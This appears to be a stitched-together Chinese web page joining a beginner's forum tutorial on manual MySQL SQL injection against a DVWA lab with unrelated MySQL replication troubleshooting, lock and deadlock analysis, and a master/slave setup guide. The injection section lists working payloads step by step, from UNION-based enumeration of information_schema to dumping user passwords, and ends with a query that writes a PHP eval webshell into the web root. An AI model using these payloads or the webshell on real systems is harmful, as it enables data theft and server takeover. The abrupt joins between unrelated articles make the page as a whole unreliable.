Linux系统运维日志

各位大佬。。。这篇文章是个人再练习注入的时候自己总结出来的一部分经验，步骤确实很简单，百度上面确实也能搜的到相关类似的，但关于文章中一些我个人的理解与总结部分肯定是搜不到的。菜鸟初来乍到，如果个人经验比较少或者说总结的不够深入，入不了各位大佬法眼，请各位大佬见谅。菜鸟还是需要不断学习进步，争取后续分享的文章能有更高的一个质量，能入的了各位大佬的眼。。。给各位大佬递茶。。。。

由于新人刚报道不久，大概浏览了一下论坛内的帖子，发现很多都是大佬们分型的工具，以及各种牛逼的渗透过程及思路记录。关于新人的一些简单入门点的资料好像不多(可能新人刚到，不太熟悉如何寻找资料，如果有误还请各位大佬不吝指教，请多多见谅，)。

这篇文章属于个人在学习sql注入时的一部分总结，后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题，请各位大佬及时指出{:6_430:} 。自评TCV=0…..

下面就是正文部分了。

基础知识

什么是SQL注入

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

引用OWASP上的定义，sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行，从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。

什么是Mysql

MySQL是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一，在 WEB 应用方面，MySQL是最好的 RDBMS (Relational Database Management System，关系数据库管理系统) 应用软件。
Mysql简单来说就是一个关系型的数据库管理系统，使用SQL语言来来存储数据，以及管理数据。

MySQL手工注入

SQL注入从注入的手法或者工具上分类的话可以分为：

• 手工注入(手工来构造调试输入payload)
• 工具注入(使用工具，如sqlmap)

下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入，SQL又可以分为：

• 显式注入
• 盲注入

这两种分类的主要区别在于能否从页面上直接获取数据库信息。

手工注入流程

判断注入点

注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 ‘。

http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'

如果页面显示了SQL的错误信息，进一步测试:

    1' or 1=1 --+

页面显示正常。再测试：

    1' and 1=2 --+

至此基本可以确定此处是一个SQL注入点，也就是说存在SQL注入漏洞。

判断查询的字段数

确定了注入点之后，就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序，如果字段不存在则会报错。下面尝试输入order by 10 。

    1' ORDER BY 10 --+

发现页面报错，那么接下来尝试order by 9， 如果同样报错，则尝试order by 8，依次尝试下去，直到页面显示正常为止。

可以看到order by 2的时候页面显示正常，则说明查询语句只有2个字段。

确定回显位

确定了查询数据的位数，然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。

    1' and 1=2 union select 1, 2 --+

可以看到查询语句中的两个字段都在网页中显示了，分别在First name和 Surname位置上。

获取信息函数

下面就开始获取数据库信息了，常用的几个获取数据的函数分别是：

    user()      获取当前用户用户
    database()      获取当前数据库
    version()       获取数据库版本    @@version_compile_os        获取操作系统版本

注入下列SQL语句可以查询出数据库当前用户，和当前数据库名。

    1' and 1=2 union select user(), database() --+

注入下列SQL语句，可以查询出数据库版本和当前操作系统版本。

    1' and 1=2 union select version(), @@version_compile_os --+

可以看到注入上面两条语句之后，当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。

获取数据库名

MySQL5新增了一个information_schema结构，这个information_schema数据库中存储着MySQL管理的所有数据库的信息，如数据库名，表名，列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有：

    schemata        (schema_name字段记录所有数据库信息)
    tables      (table_name记录表名，table_schema字段记录表所属的数据库信息)
    columns     （column_name记录列名，table_name记录列所属的表名，schema_name记录列所属的数据库名）

所以可以使用schemata表来获取所有数据库名：

    1' and 1=2 union select 1, SCHEMA_NAME  from information_schema.schemata --+

这条SQL语句是能够将所有数据库名查询出来，如果页面显示足够多的话是可以直接全部获取的。但是有些情况下，页面可能只会有一条回显记录，那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。

    1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+

使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。

获取表名

获取到了数据库信息之后，找到目标数据库，然后开始获取表名信息。可以读取tables表中的table_name来获取。

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+

表名需要使用’单引号包起来，或者使用16进制来表示:

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+

获取列名

获取到了表名之后，下面来获取列名。同样通过information_schema的columns表获取。

    1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+

表名同样可以使用十六进制表示。

获取数据

下面就开始获取表中的数据了，选择刚才获取的表中的user_id,user,password三列的数据。

    1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+

group_concat中间的’是用来分割数据显示的。

以上，就成功从数据库中获取了管理员账户信息。

写shell

上面获取管理员账号信息之后，就可以登录网页后台，从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下，通过SQL语句来写入webshell通常是一种更快捷方便的方式。

    1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+

执行成功之后，就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。

场景说明：

由于业务以及历史原因MySQL单实例有一万个数据库左右，历史原因使用的MySQL5.5版本，计划升级，为了不影响业务，开启了MySQL数据的主从同步（具体步骤不在这里详述），备份时间比较长，start slave 之后一直在追赶主库的数据、接到反馈APP端请求超时

排查原因的过程

查看当前同步的过程
查看当前MySQL同步情况
从库的同步情况

主库的binlog情况

查看当前主库的io情况

从库还在追赶主库的数据

dstat -l -m -r -c --top-io --top -mem --top-cpu

查看当MySQL的进程

show full processlit

阻塞进程比较多

查看MySQL当前的事物以及内存使用情况

show engine innodb statusG

锁比较多

查看MySQL的日志

问题所在，开启主从同步之后这个warning就一直刷屏

分析MySQL主库binlog模式应该为为statement

找到元凶

处理过程：

在从库上stop slave

set global binlog_format = ROW

在主库上执行

set global binlog_format = ROW

在从库上

start slave;

检测

错误日志消失、主从同步正常、业务也恢复了正常

谨记谨记 MySQL主从复制binlog_format 一定要ROW模式

1、背景

对于数据库系统来说在多用户并发条件下提高并发性的同时又要保证数据的一致性一直是数据库系统追求的目标，既要满足大量并发访问的需求又必须保证在此条件下数据的安全，为了满足这一目标大多数数据库通过锁和事务机制来实现，MySQL数据库也不例外。尽管如此我们仍然会在业务开发过程中遇到各种各样的疑难问题，本文将以案例的方式演示常见的并发问题并分析解决思路。

2、表锁导致的慢查询的问题

首先我们看一个简单案例，根据ID查询一条用户信息：

mysql> select * from user where id=6;

这个表的记录总数为3条，但却执行了13秒。

出现这种问题我们首先想到的是看看当前MySQL进程状态：

从进程上可以看出select语句是在等待一个表锁，那么这个表锁又是什么查询产生的呢？这个结果中并没有显示直接的关联关系，但我们可以推测多半是那条update语句产生的（因为进程中没有其他可疑的SQL），为了印证我们的猜测，先检查一下user表结构：

果然user表使用了MyISAM存储引擎，MyISAM在执行操作前会产生表锁，操作完成再自动解锁。如果操作是写操作，则表锁类型为写锁，如果操作是读操作则表锁类型为读锁。正如和你理解的一样写锁将阻塞其他操作(包括读和写)，这使得所有操作变为串行；而读锁情况下读-读操作可以并行，但读-写操作仍然是串行。以下示例演示了显式指定了表锁（读锁），读-读并行，读-写串行的情况。

显式开启/关闭表锁，使用lock table user read/write; unlock tables;

session1:

session2：

可以看到会话1启用表锁（读锁）执行读操作，这时会话2可以并行执行读操作，但写操作被阻塞。接着看：

session1:

session2:

当session1执行解锁后，seesion2则立刻开始执行写操作，即读-写串行。

总结：

到此我们把问题的原因基本分析清楚，总结一下――MyISAM存储引擎执行操作时会产生表锁，将影响其他用户对该表的操作，如果表锁是写锁，则会导致其他用户操作串行，如果是读锁则其他用户的读操作可以并行。所以有时我们遇到某个简单的查询花了很长时间，看看是不是这种情况。

解决办法：

1）、尽量不用MyISAM存储引擎，在MySQL8.0版本中已经去掉了所有的MyISAM存储引擎的表，推荐使用InnoDB存储引擎。

2）、如果一定要用MyISAM存储引擎，减少写操作的时间；

3、线上修改表结构有哪些风险？

如果有一天业务系统需要增大一个字段长度，能否在线上直接修改呢？在回答这个问题前，我们先来看一个案例：

以上语句尝试修改user表的name字段长度，语句被阻塞。按照惯例，我们检查一下当前进程：

从进程可以看出alter语句在等待一个元数据锁，而这个元数据锁很可能是上面这条select语句引起的，事实正是如此。在执行DML（select、update、delete、insert）操作时，会对表增加一个元数据锁，这个元数据锁是为了保证在查询期间表结构不会被修改，因此上面的alter语句会被阻塞。那么如果执行顺序相反，先执行alter语句，再执行DML语句呢？DML语句会被阻塞吗？例如我正在线上环境修改表结构，线上的DML语句会被阻塞吗？答案是：不确定。

在MySQL5.6开始提供了online ddl功能，允许一些DDL语句和DML语句并发，在当前5.7版本对online ddl又有了增强，这使得大部分DDL操作可以在线进行。详见：https://dev.mysql.com/doc/refman/5.7/en/innodb-create-index-overview.html

所以对于特定场景执行DDL过程中，DML是否会被阻塞需要视场景而定。

总结：通过这个例子我们对元数据锁和online ddl有了一个基本的认识，如果我们在业务开发过程中有在线修改表结构的需求，可以参考以下方案：

1、尽量在业务量小的时间段进行；

2、查看官方文档，确认要做的表修改可以和DML并发，不会阻塞线上业务；

3、推荐使用percona公司的pt-online-schema-change工具，该工具被官方的online ddl更为强大，它的基本原理是：通过insert… select…语句进行一次全量拷贝，通过触发器记录表结构变更过程中产生的增量，从而达到表结构变更的目的。

例如要对A表进行变更，主要步骤为：

创建目的表结构的空表，A_new;
在A表上创建触发器，包括增、删、改触发器;
通过insert…select…limit N 语句分片拷贝数据到目的表
Copy完成后，将A_new表rename到A表。

4、一个死锁问题的分析

在线上环境下死锁的问题偶有发生，死锁是因为两个或多个事务相互等待对方释放锁，导致事务永远无法终止的情况。为了分析问题，我们下面将模拟一个简单死锁的情况，然后从中总结出一些分析思路。

演示环境：MySQL5.7.20 事务隔离级别：RR

表user：

CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(300) DEFAULT NULL,
`age` int(11) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8

下面演示事务1、事务2工作的情况：

事务1

事务2

事务监控

T1

begin;

Query OK, 0 rows affected (0.00 sec)

begin;

Query OK, 0 rows affected (0.00 sec)

T2

select * from user where id=3 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 3 | sun | 20 |
+----+------+------+
1 row in set (0.00 sec)

select * from user where id=4 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 4 | zhou | 21 |
+----+------+------+
1 row in set (0.00 sec)

select * from information_schema.INNODB_TRX；

通过查询元数据库innodb事务表，监控到当前运行事务数为2，即事务1、事务2。

T3

update user set name='haha' where id=4;

因为id=4的记录已被事务2加上行锁，该语句将阻塞

监控到当前运行事务数为2。 T4 阻塞状态

update user set name='hehe' where id=3;

ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction

id=3的记录已被事务1加上行锁，而本事务持有id=4的记录行锁，此时InnoDB存储引擎检查出死锁，本事务被回滚。

事务2被回滚，事务1仍在运行中，监控当前运行事务数为1。 T5

Query OK, 1 row affected (20.91 sec)
Rows matched: 1 Changed: 1 Warnings: 0

由于事务2被回滚，原来阻塞的update语句被继续执行。

监控当前运行事务数为1。 T6

commit；

Query OK, 0 rows affected (0.00 sec)

事务1已提交、事务2已回滚，监控当前运行事务数为0。

这是一个简单的死锁场景，事务1、事务2彼此等待对方释放锁，InnoDB存储引擎检测到死锁发生，让事务2回滚，这使得事务1不再等待事务B的锁，从而能够继续执行。那么InnoDB存储引擎是如何检测到死锁的呢？为了弄明白这个问题，我们先检查此时InnoDB的状态：

show engine innodb statusG

------------------------
LATEST DETECTED DEADLOCK
------------------------
2018-01-14 12:17:13 0x70000f1cc000
*** (1) TRANSACTION:
TRANSACTION 5120, ACTIVE 17 sec starting index read
mysql tables in use 1, locked 1
LOCK WAIT 3 lock struct(s), heap size 1136, 2 row lock(s)
MySQL thread id 10, OS thread handle 123145556967424, query id 2764 localhost root updating
update user set name='haha' where id=4
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5120 lock_mode X locks rec but not gap waiting
Record lock, heap no 5 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000004; asc ;;
1: len 6; hex 0000000013fa; asc ;;
2: len 7; hex 520000060129a6; asc R ) ;;
3: len 4; hex 68616861; asc haha;;
4: len 4; hex 80000015; asc ;;

*** (2) TRANSACTION:
TRANSACTION 5121, ACTIVE 12 sec starting index read
mysql tables in use 1, locked 1
3 lock struct(s), heap size 1136, 2 row lock(s)
MySQL thread id 11, OS thread handle 123145555853312, query id 2765 localhost root updating
update user set name='hehe' where id=3
*** (2) HOLDS THE LOCK(S):
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5121 lock_mode X locks rec but not gap
Record lock, heap no 5 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000004; asc ;;
1: len 6; hex 0000000013fa; asc ;;
2: len 7; hex 520000060129a6; asc R ) ;;
3: len 4; hex 68616861; asc haha;;
4: len 4; hex 80000015; asc ;;

*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5121 lock_mode X locks rec but not gap waiting
Record lock, heap no 7 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000003; asc ;;
1: len 6; hex 0000000013fe; asc ;;
2: len 7; hex 5500000156012f; asc U V /;;
3: len 4; hex 68656865; asc hehe;;
4: len 4; hex 80000014; asc ;;

*** WE ROLL BACK TRANSACTION (2)

InnoDB状态有很多指标，这里我们截取死锁相关的信息，可以看出InnoDB可以输出最近出现的死锁信息，其实很多死锁监控工具也是基于此功能开发的。

在死锁信息中，显示了两个事务等待锁的相关信息（蓝色代表事务1、绿色代表事务2），重点关注：WAITING FOR THIS LOCK TO BE GRANTED和HOLDS THE LOCK(S)。

WAITING FOR THIS LOCK TO BE GRANTED表示当前事务正在等待的锁信息，从输出结果看出事务1正在等待heap no为5的行锁，事务2正在等待 heap no为7的行锁；

HOLDS THE LOCK(S)：表示当前事务持有的锁信息，从输出结果看出事务2持有heap no为5行锁。

从输出结果看出，最后InnoDB回滚了事务2。

那么InnoDB是如何检查出死锁的呢？

我们想到最简单方法是假如一个事务正在等待一个锁，如果等待时间超过了设定的阈值，那么该事务操作失败，这就避免了多个事务彼此长等待的情况。参数innodb_lock_wait_timeout正是用来设置这个锁等待时间的。

如果按照这个方法，解决死锁是需要时间的（即等待超过innodb_lock_wait_timeout设定的阈值），这种方法稍显被动而且影响系统性能，InnoDB存储引擎提供一个更好的算法来解决死锁问题，wait-for graph算法。简单的说，当出现多个事务开始彼此等待时，启用wait-for graph算法，该算法判定为死锁后立即回滚其中一个事务，死锁被解除。该方法的好处是：检查更为主动，等待时间短。

下面是wait-for graph算法的基本原理：

为了便于理解，我们把死锁看做4辆车彼此阻塞的场景：

4辆车看做4个事务，彼此等待对方的锁，造成死锁。wait-for graph算法原理是把事务作为节点，事务之间的锁等待关系，用有向边表示，例如事务A等待事务B的锁，就从节点A画一条有向边到节点B，这样如果A、B、C、D构成的有向图，形成了环，则判断为死锁。这就是wait-for graph算法的基本原理。

总结：

1、如果我们业务开发中出现死锁如何检查出？刚才已经介绍了通过监控InnoDB状态可以得出，你可以做一个小工具把死锁的记录收集起来，便于事后查看。

2、如果出现死锁，业务系统应该如何应对？从上文我们可以看到当InnoDB检查出死锁后，对客户端报出一个Deadlock found when trying to get lock; try restarting transaction信息，并且回滚该事务，应用端需要针对该信息，做事务重启的工作，并保存现场日志事后做进一步分析，避免下次死锁的产生。

5、锁等待问题的分析

在业务开发中死锁的出现概率较小，但锁等待出现的概率较大，锁等待是因为一个事务长时间占用锁资源，而其他事务一直等待前个事务释放锁。

事务1

事务2

事务监控

T1

begin;

Query OK, 0 rows affected (0.00 sec)

begin;

Query OK, 0 rows affected (0.00 sec)

T2

select * from user where id=3 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 3 | sun | 20 |
+----+------+------+
1 row in set (0.00 sec)

其他查询操作

select * from information_schema.INNODB_TRX；

通过查询元数据库innodb事务表，监控到当前运行事务数为2，即事务1、事务2。

T3 其他查询操作

update user set name='hehe' where id=3;

因为id=3的记录被事务1加上行锁，所以该语句将阻塞（即锁等待）

监控到当前运行事务数为2。 T4 其他查询操作

ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction

锁等待时间超过阈值，操作失败。注意：此时事务2并没有回滚。

监控到当前运行事务数为2。 T5 commit; 事务1已提交，事务2未提交，监控到当前运行事务数为1。

从上述可知事务1长时间持有id=3的行锁，事务2产生锁等待，等待时间超过innodb_lock_wait_timeout后操作中断，但事务并没有回滚。如果我们业务开发中遇到锁等待，不仅会影响性能，还会给你的业务流程提出挑战，因为你的业务端需要对锁等待的情况做适应的逻辑处理，是重试操作还是回滚事务。

在MySQL元数据表中有对事务、锁等待的信息进行收集，例如information_schema数据库下的INNODB_LOCKS、INNODB_TRX、INNODB_LOCK_WAITS，你可以通过这些表观察你的业务系统锁等待的情况。你也可以用一下语句方便的查询事务和锁等待的关联关系：

SELECT r.trx_id waiting_trx_id, r.trx_mysql_thread_id waiting_thread, r.trx_query wating_query, b.trx_id blocking_trx_id, b.trx_mysql_thread_id blocking_thread, b.trx_query blocking_query FROM information_schema.innodb_lock_waits w INNER JOIN information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id INNER JOIN information_schema.innodb_trx r ON r.trx_id = w.requesting_trx_id;

结果：

waiting_trx_id: 5132
waiting_thread: 11
wating_query: update user set name='hehe' where id=3
blocking_trx_id: 5133
blocking_thread: 10
blocking_query: NULL

总结：

1、请对你的业务系统做锁等待的监控，这有助于你了解当前数据库锁情况，以及为你优化业务程序提供帮助；

2、业务系统中应该对锁等待超时的情况做合适的逻辑判断。

6、小结

本文通过几个简单的示例介绍了我们常用的几种MySQL并发问题，并尝试得出针对这些问题我们排查的思路。文中涉及事务、表锁、元数据锁、行锁，但引起并发问题的远远不止这些，例如还有事务隔离级别、GAP锁等。真实的并发问题可能多而复杂，但排查思路和方法却是可以复用，在本文中我们使用了show processlist;show engine innodb status;以及查询元数据表的方法来排查发现问题，如果问题涉及到了复制，还需要借助master/slave监控来协助。

MySQL 主从复制是一个通过自动将主库数据复制到从数据库的过程，使得用户可以轻松维护数据的多个副本。多副本不仅可以增强数据的安全性，通过实现读写分离还能提升数据库的负载能力。本文试图详尽地描述主从复制的过程。

本文使用的主机如下:

安装MySQL

这里简单提一下CentOS安装MySQL的过程，原因有二:

1. CentOS7 发行版中的源默认为MariaDB
2. MySQL 官方的安装文档有些晦涩，这部分内容方便笔者后续查看

如果读者对MySQL的安装非常了解，请跳过该部分内容 🙂

## 从官网 https://dev.mysql.com/downloads/repo/yum/ 下载相应系统对应MySQL版本的Yum源
## 这里可能让人疑惑的是没有显示标明CentOS应该下载哪个，Red Hat Enterprise Linux 的即可
## 另外一个可能疑惑的地方是只有57版本的repo packages, 其实它包含了该发行版可用的所有
## MySQL版本，只不过默认启用的版本为5.7，可使用`yum repolist all | grep mysql` 查看
[root@master ~]# wget https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm

## 使用如下命令安装源
[root@master ~]# sudo rpm -Uvh mysql57-community-release-el7-11.noarch.rpm
## 或
[root@master ~]# sudo yum localinstall mysql57-community-release-el7-11.noarch.rpm

## 弃用5.7版本，启用5.6版本
[root@master ~]# sudo yum-config-manager --disable mysql57-community
[root@master ~]# sudo yum-config-manager --enable mysql56-community

## 查看启用的MySQL源
[root@master ~]# yum repolist enabled | grep "mysql.*-community.*"
!mysql-connectors-community/x86_64 MySQL Connectors Community                 42
!mysql-tools-community/x86_64      MySQL Tools Community                      55
!mysql56-community/x86_64          MySQL 5.6 Community Server                361

## 设置好源之后使用如下命令来安装MySQL
[root@master ~]# sudo yum install mysql-community-server
## 查看版本
[root@master ~]# mysqld -V
mysqld  Ver 5.6.38 for Linux on x86_64 (MySQL Community Server (GPL))

## 启动并设置开机启动
[root@master ~]# systemctl start mysqld.service
[root@master ~]# sudo systemctl enable mysqld.service

## Securing the MySQL Installation
## 在安装5.6版本时需要进行该操作，根据提示设置root密码，删除匿名用户等
## 5.7版本需要不同的操作，详见https://dev.mysql.com/doc/mysql-yum-repo-quick-guide/en/
[root@master ~]# mysql_secure_installation

以上是 MySQL 5.6 的安装过程，安装完成后往往还需要修改配置以获取较优的性能：

数据库配置

/etc/my.cnf

## [client] option group is read by all client programs provided in MySQL distributions (but not by mysqld)
[client]
default-character-set = utf8

## [mysql] option group apply specifically to mysql client program
[mysql]
# 更改默认字符集以免引发乱码
default-character-set = utf8

## [mysqld] option group apply specifically to mysqld server program
[mysqld]
# Typical values are 5-6GB (8GB RAM), 20-25GB (32GB RAM), 100-120GB (128GB RAM)
innodb_buffer_pool_size = 6G

# 客户端最大并发连接数量，default: 151
max_connections = 1000

# 在检查客户端连接时，不要解析主机名，只使用IP地址
# 该选项要求grant表中的所有主机值必须是IP地址或localhost
skip-name-resolve

# 在Windows或OS X系统中，文件系统不区分大小写
# 设置为1，表文件全部以小写命名
lower_case_table_names = 1

# Server允许发送和接收的最大消息包大小，default: 4MB
# 使用大的BLOB列或长字符串，需要增加该值，它应该和你要使用的最大BLOB一样大
max_allowed_packet = 20M

# 设置字符集为 utf8
character-set-server = utf8
# 每个客户端连接数据库之后首先执行的一条命令，也是为了查询到乱码
init_connect = 'SET NAMES utf8'
# 可以使用 `show collation;` 来查看每个字符集可用的排序规则
# `show variables like "%character%";show variables like "%collation%";` 来查看当前设置的字符集及排序规则
# ci => case insensitive
collation-server = utf8_unicode_ci

## omit other default options and option group
...

注：所有可配置的选项都可以通过相应的命令查看，如 mysqld –verbose –help、mysql –verbose –help。或查看手册 Server Option and Variable Reference、mysql Options。

Master/Slave Setup

回到正题。在讨论设置主从复制的细节之前，我们先简单了解一下 MySQL 是如何复制数据的，直观上，复制包括三个过程：

1. 主节点将数据的变动记录到 binary log (这些记录被称作 binary log events)
2. 从节点通过网络将主节点的 binary log events 复制到从节点的 relay log
3. 从节点重放(replay) relay log 中的事件，将这些变动应用到从节点的数据上

下图显示了这一过程:

更细节的部分可翻阅《High Performance MySQL, 3rd Edition》第10章进行查看。

配置主节点

master /etc/my.cnf

server-id = 1
log-bin = mysql-bin
# 当InnoDB存储引擎需要处理事务，为了尽可能满足持久性和一致性，应该设置如下两项
innodb_flush_log_at_trx_commit = 1
sync_binlog = 1

需要在主节点上设置一个可供从节点连接的账号，并赋予相应的权限：

mysql> GRANT REPLICATION SLAVE ON *.* TO slave@'10.0.63.%' IDENTIFIED BY 'p4ssword';

然后把主库的数据使用 mysqldump 保存到一个文件中：

## -A => --all-databases
## --skip-lock-tables => --opt 是 --add-drop-table --add-locks --create-options 
##                       --disable-keys --extended-insert --lock-tables --quick
##                       --set-charset 选项的组合，默认是生效的，当使用 InnoDB
##                       时，--single-transation 是一个比 --lock-tables 更好的选
##                       项，因此使用 --skip-lock-tables 来禁掉 --lock-tables
## --single-transaction => 通过将导出操作封装在一个事务内来使得导出的数据是一个
##                         一致性快照, 依赖 InnoDB 的 MVCC 机制。
## --flush-logs => 导出之前先刷新服务器日志文件
## --hex-blog => 使用十六进制表示法导出二进制（如：'abc' 导出为 0x616263）
## --master-data=2 => 将 binlog 的坐标作为注释记录到导出文件中，用于后续操作
## 以上参数详见 https://dev.mysql.com/doc/refman/5.6/en/mysqldump.html
[root@master ~]# mysqldump -uroot -p --skip-lock-tables --single-transaction --flush-logs 
--hex-blob --master-data=2 -A  > all-databases.sql

上面的 –single-transaction 和 –master-data=2 选项组合在导出数据前做了如下几件事:

1. FLUSH TABLES WITH READ LOCK;
2. SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;
3. START TRANSACTION;
4. SHOW MASTER STATUS;
5. UNLOCK TABLES;

什么意思呢？就是说这条命令在运行的时候既保证保证了导出的数据是 binary log 坐标（MASTER_LOG_FILE, MASTER_LOG_POS）位置的数据库快照，又不影响后续写命令的执行。

由于上述命令将 binlog 坐标作为注释记录在了 all-databases.sql 文件中，因此可以使用如下命令获取:

[root@master ~]# head all-databases.sql -n80 | grep "MASTER_LOG_POS"
-- CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=120;

然后将 all-databases.sql 传输到从节点上（如果数据文件较大，可用 gzip 压缩后再传输）。

需要注意的一点，FLUSH TABLES WITH READ LOCK; 命令在获取全局读锁之前，必须等待所有的查询结束，如果有长时间的查询操作，将会使得该操作的过程非常漫长，并导致整个数据库处于只读状态甚至连读操作都会阻塞（见参考8~13）。因此，mysqldump 操作应该选择在数据库负载最小的时刻进行。

配置从节点

slave /etc/my.cnf

server-id=2
# 在从节点开启 log_bin 和 log-slave-update 可用于配置级联复制架构
log_bin = mysql-bin
log-slave-update = 1
relay-log = mysql-relay-bin
# the server permits no client updates except from users who have the SUPER privilege
read-only = 1

重新启动 Slave Server 并将 all-databases.sql 的语句在 Slave Server 执行。

[root@slave ~]# systemctl restart mysqld.service
[root@slave ~]# mysql -uroot -p < all-databases.sql

执行完上述命令之后，从节点的数据库就跟 binlog 坐标点的数据一模一样了。接下来就是进入从节点 MySQL 的控制台，告诉它应该从主节点的什么位置进行接下来的同步了：

mysql> CHANGE MASTER TO MASTER_HOST='10.0.63.202',MASTER_USER='slave',MASTER_PASSWORD='p4ssword',MASTER_LOG_FILE='mysql-bin.000002',MASTER_LOG_POS=120;
Query OK, 0 rows affected, 2 warnings (0.01 sec)

mysql> START SLAVE;
Query OK, 0 rows affected (0.03 sec)

查看 Slave 状态命令：

mysql> SHOW SLAVE STATUS G

以上为 MySQL 主从复制的过程，其中比较关键的是如何获取 mysqldump 运行时的数据库快照和 binlog 的坐标，即充分理解几个参数的含义。

在写本文之前，笔者对主从复制存有一些疑问，经过两天的调研整理，基本能把之前的疑问做一简单回答，如下：

1. 是否需要选择需要备份的库？
   对于现在我接触到的应用，基本上是多个微服务各自对应一个数据库(database)，但却同时存在于一个 MySQL Server 上。备份的时候使用 –all-databases 选项可将所有数据库(–all-databases 选项不会备份 performance_schema 和 information_schema)导出到文件，并后续同步到 slave 节点。在配置文件中没有配置 binlog-do-db，会将所有数据库的变动写入 binary log，包括创建database的命令。
   如果是一个微服务对应一个 MySQL Server 的场景，既然只有一个库了，备份整个库也无所谓啊:)

2. 如何处理存储过程、函数及触发器?
   这个问题之前一直困扰着我，通过调研，发现它们存储在 mysql database 中，mysqldump –all-databases 会将 mysql 数据库导出，使得从节点与主节点拥有一样的 mysql 数据库，而任何新创建的存储过程、函数及触发器都会写到 binary log 中，进而同步到从节点的 mysql 数据库。因此，只需要操作主节点的 MySQL Server，而不需对从节点进行任何操作。

3. 如果需要变动表结构需要如何处理？
   如果没有配置 binlog-do-db，那么任何数据库的改动都会写入 binary log，因此，也不用关心从节点。

4. 如果新增数据库需要如何处理？
   同问题3。

5. 如果需要将一主一丛扩展为一主二从应该如何操作？
   选则在主节点负载最小的时刻再进行一次上面的操作即可。

结语

本文仅介绍了一种 MySQL 的主从复制过程，还有很多其它方法（如利用文件系统的snapshot或Percona XtraBackup 工具）可能有更好的性能，在今后的实践中会进行尝试。

另外，在查阅资料的过程中在 MySQL 官网上看到了 InnoDB Cluster 和 MySQL NDB Cluster 相关的内容。前者通过将一组 MySQL Server 配置为一个集群，在默认额单主节点模式下，集群具有一个读写主节点和多个只读副节点，客户端程序通过连接 MySQL Router，Router 会选择一个合适的 Server 来提供服务；后者通过 NDB 存储引擎提供存储能力，SQL 层（mysqld）负责存储层之上的所有事情，如连接管理，query 优化及响应，Cache 管理等等。这些笔者还没有进行深入了解，这里列出作为后续调研的方向。

– 20180119 更新 –

当应用连接到主库进行测试的时候，出现了如下错误：

SQL Error: 1418, SQLState: HY000
This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary 
logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)

原因是因为 SQL 语句中含有存储程序（stored precedures and functions/triggers/events），如：

SELECT distinct a.permission_value FROM auth_permission a INNER JOIN auth_role_permission b 
    ON a.id=b.permission_id INNER JOIN auth_user_role c ON b.role_id=c.role_id 
    WHERE a.deleted=0 and c.user_id=? AND FIND_IN_SET(a.id, getPermissionChildList(?))

如果该语句被路由到 Slave 节点且 getPermissionChildList 含有更改数据的操作，会造成主从库不一致，存在安全隐患，所以 MySQL 默认禁止这种操作。如果明确知道存储程序不会造成主从库不一致，则可以以通过以下两种方式放宽这一限制：

1. 在 MySQL 控制台执行 SET GLOBAL log_bin_trust_function_creators = 1;
2. 在配置文件中添加 log_bin_trust_function_creators = 1; 并重新启动

